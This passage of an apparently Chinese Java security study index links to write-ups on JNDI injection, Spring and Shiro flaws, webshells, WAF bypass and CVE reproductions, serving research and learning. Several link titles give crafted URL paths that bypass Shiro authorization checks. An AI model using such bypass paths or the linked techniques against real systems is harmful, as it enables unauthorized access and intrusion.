- [SQLite SSRF](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md)
- [PostgreSQL-RCE(敌不动我不动,你先发poc我放心)](https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/PostGreSQL/index.md)
- [Make JDBC Attacks Brilliant Again 番外篇(作为上面Postgresql的拓展)](https://tttang.com/archive/1462/)
- [Hive-RCE](https://github.com/Y4tacker/hue-hive-rce)
- [2023BalckHat Asia上补充关于informix-sqli、db2、cloudspanner、avatica、snowflake的利用姿势](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf)
- [JDBC利用链结合原生反序列化的思路](https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/)
- [JDBC Attack URL 绕过合集](https://mp.weixin.qq.com/s/lmoWKK41ZQzZOh-P26VUng)
## 10.关于JNDI的整理
因为比较重要单独列出来了
- [Java RMI 攻击由浅入深(深入源码,师傅写的很好)](https://su18.org/post/rmi-attack/)
- [如何绕过高版本 JDK 的限制进行 JNDI 注入利用](https://paper.seebug.org/942/#classreference-factory)
- (自己写的流程补充)[高低版JDK下的JNDI注入绕过流程跟踪](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA/%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%B5%81%E7%A8%8B%E8%B7%9F%E8%B8%AA.md)
- [探索高版本 JDK 下 JNDI 漏洞的利用方法](https://tttang.com/archive/1405/)
- [JNDI jdk高版本绕过—— Druid](https://xz.aliyun.com/t/10656)
## 11.Spring
- [浅谈SpringWeb请求解析过程(很不错的文章把低版本一些绕过的特性基本都提到了)](https://forum.butian.net/share/2214)
- [浅谈Spring与安全约束SecurityConstraint](https://forum.butian.net/index.php/share/2283)
- [SpirngBoot下结合Tomcat实现无OOB方式下的回显](https://github.com/Y4tacker/JavaSec/blob/main/5.%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/Spring/springboot-tomcat%E5%9B%9E%E6%98%BE/index.md)
- [低版本SpringBoot-SpEL表达式注入漏洞复现分析](https://y4tacker.github.io/2022/02/07/year/2022/2/%E4%BD%8E%E7%89%88%E6%9C%ACSpringBoot-SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/)
- [SpringCloud-SnakeYAML-RCE(高版本不可用)](https://y4tacker.github.io/2022/02/08/year/2022/2/SpringCloud-SnakeYAML-RCE/)
- [Spring Boot Vulnerability Exploit Check List](https://github.com/LandGrey/SpringBootVulExploit)
- [SSRF to Rce with Jolokia and Mbeans](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/SSRF%20to%20RCE%20with%20Jolokia%20and%20MBeans%20%E2%80%A2%20Think%20Love%20Share.pdf)
- [CVE-2022-22947 SpringCloudGateWay 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/CVE-2022-22947%20SpringCloudGateWay%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/index.md)
- [Spring Cloud Function-SPEL(利用面不大)](https://hosch3n.github.io/2022/03/26/SpringCloudFunction%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
- [SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析](http://rui0.cn/archives/1158)
- [Spring Beans RCE分析(CVE-2022-22965)(我还是喜欢叫Spring4shell,自己懒得写了,这篇还可以,稍微注意下AccessLogValve这个类WBS)](https://xz.aliyun.com/t/11129)
- [Spring Data MongoDB SpEL表达式注入(CVE-2022-22980)(能看但是有些逻辑还是讲得很混乱总体而已还是好的作为参考即可)](https://xz.aliyun.com/t/11484)
- [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md)
- [Springboot devtools反序列化(难点在于secret的获取,当然比如有actuator端点暴露情况下就会变得容易)](https://novysodope.github.io/2022/05/11/77/)
- [浅谈Spring中的Controller参数的验证机制(注意Hibernate Validator的正确配置)](https://forum.butian.net/share/2538)
## 12.Shiro
- [Shiro RememberMe 漏洞检测的探索之路(长亭的一些总结非常不错)](https://stack.chaitin.com/techblog/detail?id=39)
- [Shiro另类检测方式](http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/)
- [浅谈Shiro执行任意反序列化gadget的方案](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/%E6%B5%85%E8%B0%88Shiro%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96gadget%E7%9A%84%E6%96%B9%E6%A1%88/index.md)
- [CVE-2010-3863权限绕过(通过/./admin绕过/admin,/abc/../admin)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2010-3863%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md)
- [CVE-2016-6802权限绕过(通过/abc/../y4tacker/admin绕过)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2016-6802%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md)
- [Shiro550-TemplatesImpl(CC6-Shiro)](https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java)
- [CommonsBeanutils与无 commons-collections的Shiro反序列化利用](https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsBeanutils1Shiro.java)
- [另类的shiro检验key的检测方式](http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/)
- [shiro反序列化漏洞攻击拓展面--修改key](https://tttang.com/archive/1457/)
- [Tomcat-Header长度受限突破shiro回显](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/Tomcat-Header%E9%95%BF%E5%BA%A6%E5%8F%97%E9%99%90%E7%AA%81%E7%A0%B4shiro%E5%9B%9E%E6%98%BE/index.md)
- [Spring下Shiro<1.5.0权限绕过(/unauthorize/)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/SHIRO682/index.md)
- [CVE-2020-13933特殊场景权限绕过(通过/unauthorize/%3b)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2020-13933%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md)
- [SpringBoot2.3.0下Shiro<=1.5.1权限绕过(通过/aa;/%2e%2e/unauthorize绕过对/unauthorize拦截,当然也可以不用目录穿越/;y4tacker/unauthorize也可以)](https://github.com/Y4tacker/JavaSec/tree/main/11.Spring/SpringBoot2.3.0%E4%B8%8BShiro%3C%3D1.5.1%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87)
- [Spring-Shiro1.5.2 Bypass(通过/unauthorize/a%252Fa绕过对/unauthorize/*的权限限制)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/Spring-Shiro1.5.2%20Bypass/index.md)
- [记一次 Shiro 的实战利用(突破限制shiro 550利用payload的长度,这种方式不能很好对抗检测文件落地,其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ)
## 13.回显相关技术学习
- [通杀漏洞利用回显方法-linux平台](https://www.00theway.org/2020/01/17/java-god-s-eye/)
- [linux下java反序列化通杀回显方法的低配版实现](https://xz.aliyun.com/t/7307)
- [Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)
- [半自动化挖掘request实现多种中间件回显](https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/)
## 14. JSPWebshell
- [JSP-Webshells集合(三梦的总结挺全面的利用点)](https://github.com/threedr3am/JSP-Webshells)
- [JspWebShell新姿势解读](https://y4tacker.github.io/2022/05/16/year/2022/5/JspWebShell%E6%96%B0%E5%A7%BF%E5%8A%BF%E8%A7%A3%E8%AF%BB/)
- [jsp新webshell的探索之旅](https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/)
- [JspWebshell编码混淆篇(unicode和html实体编码那些就懒得写了技术性不强)](https://y4tacker.github.io/2022/11/27/year/2022/11/%E6%B5%85%E8%B0%88JspWebshell%E4%B9%8B%E7%BC%96%E7%A0%81/)
## 15.Waf
- [Java文件上传大杀器-绕waf(针对commons-fileupload组件)](https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)/)
- [探寻Java文件上传流量层面waf绕过姿势系列一](https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/)
- [探寻Java文件上传流量层面waf绕过姿势系列二](https://y4tacker.github.io/2022/06/21/year/2022/6/%E6%8E%A2%E5%AF%BBJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2waf%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E7%B3%BB%E5%88%97%E4%BA%8C/)
- [Java反序列化数据绕WAF之加大量脏数据 | 回忆飘如雪 (gv7.me)](https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/)
- [Java反序列化脏数据新姿势-对大师傅的姿势补充(个人的小研究)](https://y4tacker.github.io/2022/02/05/year/2022/2/%E5%AF%B9Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%E7%BB%95WAF%E6%96%B0%E5%A7%BF%E5%8A%BF%E7%9A%84%E8%A1%A5%E5%85%85/)
- [Fastjson词法引擎绕waf](https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/)
- [RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
## 16.漏洞复现
- Apache
- [Apache Commons Configuration 远程代码执行(虽然是配置文件RCE但也有学习意义)](https://xz.aliyun.com/t/11527)
- [Apache Spark shell command injection vulnerability via Spark UI(之前很早前在我的各个知识星球分享了)](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-33891/index.md)
- [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md)
- [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md)
- [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0)
- [Log4j2不出网检测(靠类型转换、危害有限思路值得学习)](https://cloud.tencent.com/developer/article/2036012)
- [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd)
- [Apache Dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索](https://yyhylh.github.io/2023/04/08/Apache%20dubbo%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2023-23638%EF%BC%89%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E6%8E%A2%E7%B4%A2/)
- [Apache Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/)
- [Apache Airflow: Bypass permission verification to view task instances of other dags(CVE-2023-42663)](https://hackerone.com/reports/2208656)
- [Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)(这个漏洞适合了解RMI攻击的基础)](https://xz.aliyun.com/t/13118)
- [Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法](https://y4tacker.github.io/2023/11/30/year/2023/11/Apache-ActiveMQ-Jolokia%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8D%E4%BE%9D%E8%B5%96JDK%E6%89%93%E6%B3%95/)
- Apache OFBiz
- [Apache OFBiz漏洞 CVE-2023-49070 的前世今生(非常详细)](https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g)
- [Apache OFBiz未授权命令执行浅析(CVE-2023-51467)](https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/)
- Oracle
- [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md)
- [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/)
- [Oracle Access Manager Pre-Auth RCE (CVE-2021–35587 Analysis)](https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316)
- Spring
- [Spring-Kafka-POC-CVE-2023-34040](https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040)
- Nacos
- [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ )
- [Nacos 多次打非完美方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce)
- Adobe
- [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/)
- [Analysis CVE-2023-29300: Adobe ColdFusion Pre-Auth RCE](https://blog.projectdiscovery.io/adobe-coldfusion-rce/)
- Smartbi
- [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/)
- CrushFTP
- [CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)](https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/)
- [浅析CrushFTP之VFS逃逸](https://y4tacker.github.io/2024/04/23/year/2024/4/%E6%B5%85%E6%9E%90CrushFTP%E4%B9%8BVFS%E9%80%83%E9%80%B8/)
- [CrushFTP Unauthenticated Remote Code Execution(CVE-2024-4040)](https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis)
- [CrushFTP后利用提权分析(CVE-2024-4040)](https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/)
- Others
- [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/)
- [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w)
- [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)
- [Ivanti Sentry Authentication Bypass](https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/)
- [UNAUTHENTICATED SERVER SIDE REQUEST FORGERY & CRLF INJECTION IN GEOSERVER WMS(CRLF注入的好例子)](https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms)
- [JetBrains TeamCity 任意代码执行漏洞分析(CVE-2023-42793)](https://forum.butian.net/share/2514)
- [SysAid On-Prem Software(CVE-2023-47246)](https://forum.butian.net/share/2577)
- [MCMS属性覆盖全版本Bypass分析(又又又是一个属性覆盖带来的漏洞)](https://y4tacker.github.io/2023/12/28/year/2023/12/%E5%8F%88%E5%8F%88%E5%8F%88%E6%98%AF%E4%B8%80%E4%B8%AA%E5%B1%9E%E6%80%A7%E8%A6%86%E7%9B%96%E5%B8%A6%E6%9D%A5%E7%9A%84%E6%BC%8F%E6%B4%9E/)
- [Atlassian Confluence-Remote Code Execution(CVE-2023-22527)](https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/)
- [Jenkins文件读取漏洞拾遗(CVE-2024-23897)](https://www.leavesongs.com/PENETRATION/jenkins-cve-2024-23897.html)
## 17.模板引擎+表达式相关
- 模板引擎
- [velocity 模板注入](https://www.cnblogs.com/nice0e3/p/16218857.html)
- [freemarker 模板注入](https://www.cnblogs.com/nice0e3/p/16217471.html)
- [pebble模板注入](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md)
- [thymeleaf模板注入](https://xz.aliyun.com/t/10514)
- [国产Jfinal用的Enjoy模板引擎主要研究不出网利用](https://y4tacker.github.io/2022/04/14/year/2022/4/Enjoy%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E5%88%86%E6%9E%90/)
- [Beetl3.15.0以下模板注入(高版本仍然有办法Rce)](https://gitee.com/xiandafu/beetl/issues/I6RUIP)
- 表达式
- EL表达式
- [普通EL表达式命令回显的简单研究](https://forum.butian.net/share/886)
- [一种新型Java一句话木马的实现](https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/)
- [el表达式绕waf的trick](https://github.com/Y4tacker/JavaSec/blob/main/17.%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%2B%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9B%B8%E5%85%B3/el%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%BB%95waf%E7%9A%84trick/index.md)
## 18.各框架对URI处理的特性及Trick
- [Tomcat URL解析差异性导致的安全问题(网上看到的主要关注HttpServletRequest中几个解析URL的函数这个问题)](https://xz.aliyun.com/t/7544)
- [Tomcat中url解析特性](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%ADurl%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7/index.md)
- [SpringBoot2.3.0以下路由%2e跨目录处理(可用于权限绕过)](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot2.3.0%E4%BB%A5%E4%B8%8B%E8%B7%AF%E7%94%B1%252e%E8%B7%A8%E7%9B%AE%E5%BD%95%E5%A4%84%E7%90%86(%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87)/index.md)
- [网上看到的Jetty的部分解析特性(支持%uxxx)](https://www.wangan.com/p/7fyg8k2c7781675a)
## 19.ASM与JVM学习
- [JAVA虚拟机执行模型(关注引入了栈映射帧,用于加快虚拟机中类验证过程的速度)](https://www.cnblogs.com/coding-way/p/6600647.html)
- [What is a stack map frame](https://stackoverflow.com/questions/25109942/what-is-a-stack-map-frame)
- 这里比较有意思的是:Java 1.7引入了此选项以加速类验证。框架分为两部分:变量类型和堆栈类型。第一帧由方法类型描述。在每个GOTO / JUMP调用之后,您需要提供堆栈映射框架的更新描述。为了节省空间,可以使用SAME,APPEND等选项,也可以通过指定变量类型的FULL数组再次描述所有变量。
- [为什么JVM需要DUP指令](https://www.cnblogs.com/clayjj/p/7698035.html)
## 20.议题
- [Hacking FernFlower](https://y4tacker.github.io/2023/12/22/year/2023/12/Hacking-FernFlower/)
- [议题相关代码](https://github.com/Y4tacker/HackingFernFlower)
## 其他分享
- JMX
- [JMX RMI攻击利用](https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md)
- [一次从jmx到rce](https://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247506824&idx=1&sn=1bff6060290c0fdb7fe059cff2c61153&chksm=96d0208da1a7a99b6e61c8e3c332d324c0296bbccf1163cb8a10760e57cd17e150cb23a0e36a&mpshare=1&scene=1&srcid=1220PA2K5MY7dM3gWTr06z4r&sharer_sharetime=1671532238935&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd)
- [tomcat-jmxproxy-rce-exp(JMX with AccessLogValve)](https://www.wangan.com/p/11v6cf3fcad1500e)
- [GadgetInspector源码分析](https://y4tacker.github.io/2022/05/09/year/2022/5/GadgetInspector%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/)
- [CVE-2021-2471 JDBC-XXE漏洞分析](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/CVE-2021-2471%20JDBC-XXE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/CVE-2021-2471%20JDBC-XXE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md)
- [spring-messaging 远程代码执行漏洞分析](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/spring-messaging%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/spring-messaging%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md)
- [CVE-2020-9484 Tomcat-RCE漏洞分析报告(备注:三梦师傅的文章,提升了我对Tomcat配置的了解)](https://threedr3am.github.io/2020/06/12/CVE-2020-9484%20Tomcat-RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/)
- [Java “后反序列化漏洞” 利用思路](https://paper.seebug.org/1133/)
- [关于Servlet的线程安全问题](https://y4tacker.github.io/2022/02/03/year/2022/2/Servlet%E7%9A%84%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/)
- [BypassSM](https://github.com/Y4tacker/JavaSec/blob/main/其他/BypassSM/bypasssm.md)
- [Spring Boot FatJar任意写目录漏洞导致Getshell](https://www.cnblogs.com/wh4am1/p/14681335.html)
- [利用TemplatesImpl执行字节码](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E5%88%A9%E7%94%A8TemplatesImpl%E6%89%A7%E8%A1%8C%E5%AD%97%E8%8A%82%E7%A0%81/%E5%88%A9%E7%94%A8TemplatesImpl%E6%89%A7%E8%A1%8C%E5%AD%97%E8%8A%82%E7%A0%81.md)
- [为什么补丁都喜欢打在resolveClass](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A1%A5%E4%B8%81%E5%96%9C%E6%AC%A2%E6%89%93%E5%9C%A8resolveClass/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A1%A5%E4%B8%81%E5%96%9C%E6%AC%A2%E6%89%93%E5%9C%A8resolveClass.md)
- [Java沙箱绕过](https://www.anquanke.com/post/id/151398)
- [一种普遍存在于java系统的缺陷 - Memory DoS](https://threedr3am.github.io/2021/11/18/%E4%B8%80%E7%A7%8D%E6%99%AE%E9%81%8D%E5%AD%98%E5%9C%A8%E4%BA%8Ejava%E7%B3%BB%E7%BB%9F%E7%9A%84%E7%BC%BA%E9%99%B7-Memory%20DoS/#more)
- [如何关闭百度的Rasp](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E5%85%B3%E9%97%AD%E7%99%BE%E5%BA%A6%E7%9A%84Rasp/index.md)
- [漫谈 JEP 290](https://paper.seebug.org/1689/#_1)
- [Java Web —— 从内存中Dump JDBC数据库明文密码(还挺好玩的)](https://mp.weixin.qq.com/s/QCfqO2BJuhSOr58rldZzxA)
- [如何带依赖打包Jar](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Maven/index.md)
- [一些Java二次反序列化的点(持续收集)](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E8%A7%A6%E5%8F%91%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E7%82%B9.md)
- [帆软channel接口反序列化漏洞分析(二次反序列化一些实战场景利用)](https://forum.butian.net/share/2806)
- [自己写的OpenRasp分析](https://y4tacker.github.io/2022/05/28/year/2022/5/OpenRasp%E5%88%86%E6%9E%90/)
- [Apache Unomi 表达式注入攻防](https://github.com/1135/unomi_exploit)
- [JEXL3表达式注入](https://xz.aliyun.com/t/8099)
- [利用JVMTI实现JAR包加密(还没看很牛逼就是了)](https://mp.weixin.qq.com/s/jH8TNvY8bAu0m2kQBvpQyg)
- [安全同学讲Maven重打包的故事](https://mp.weixin.qq.com/s?__biz=MzIzOTU0NTQ0MA==&mid=2247510513&idx=1&sn=fbcd84ba56d0c04dbd28b42f10f3bfb1&chksm=e92a94fede5d1de8e8301f8efb9db5e3f1a4fc14a5e29be541668d706a77141bbbd8d63db1ac&mpshare=1&scene=1&srcid=1025aCfF1bF9RgdhX85sgkj3&sharer_sharetime=1666696525299&sharer_shareid=4a549281c7d8f067d766da5aff57a064#rd)
- [某软件监控页面RCE漏洞分析(虽然过于简单,但是可以借此了解下OA系统)](https://xz.aliyun.com/t/11778)
- [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s/xxAtjFvk9RxWiY-pwGf8Ow)
- [某Cloud系统漏洞分析](https://forum.butian.net/share/2529)
- [任意文件下载漏洞的利用思考(总结非常细!)](https://mp.weixin.qq.com/s/3y62xuQJAj2gmtBSKvHHug)
## 比赛反思
特地加了一栏吧,希望从比赛当中了解Java相关的东西学习一些新的点!
- [Codegate2022(关键词:绕过开头file协议读文件、xpath注入读系统配置)](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/3/Codegate2022/index.md)
- [SUSCTF2022(关键词:绕rasp、fastjson、xxe)](https://github.com/Y4tacker/JavaSec/tree/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/3/SUSCTF2022)
- [D^3CTF2022(关键词:ROME链缩短、Mybatis与Ognl)](https://y4tacker.github.io/2022/03/07/year/2022/3/ROME%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92/)
- [虎符CTF2022(关键词:Hessian反序列化、Rome二次反序列化、java.security.SignedObject#getObject、UnixPrintService命令执行、Tabby)](https://y4tacker.github.io/2022/03/21/year/2022/3/2022%E8%99%8E%E7%AC%A6CTF-Java%E9%83%A8%E5%88%86/)
- [MRCTF2022(关键词:Kryo反序列化、Rome二次反序列化、内存马、Bypass SerialKiller黑名单-找替代类)](https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/)
- [GoogleCTF2022(关键词:Log4j2、Bundle、ReDoS)](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/3/2022GooGleCTF/index.md)
